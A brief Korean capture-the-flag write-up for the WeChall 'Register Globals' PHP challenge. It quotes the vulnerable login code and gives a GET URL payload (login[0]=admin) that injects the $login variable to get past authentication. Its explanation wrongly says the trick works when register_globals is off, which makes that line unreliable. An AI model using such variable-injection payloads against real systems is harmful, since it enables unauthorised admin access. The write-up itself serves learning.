문제의 코드는 아래와 같다.
# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
$uname = mysql_real_escape_string($_POST['username']);
$pass = md5($_POST['password']);
$query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
$db = gwf_db();
if (false === ($row = $db->queryFirst($query))) {
echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
} else {
# Login success
$login = array($_POST['username'], (int)$row['level']);
}
}
if (isset($login))
{
echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', htmlspecialchars($login[0]), htmlspecialchars($login[1])));
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
여기서 Register Globals 옵션이 꺼져 있으면 login 변수를 GET 인자로 전달할 수 있다. 따라서 아래와 같이 GET 인자를 구성하여 넘기면 된다.
http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin&login[1]=1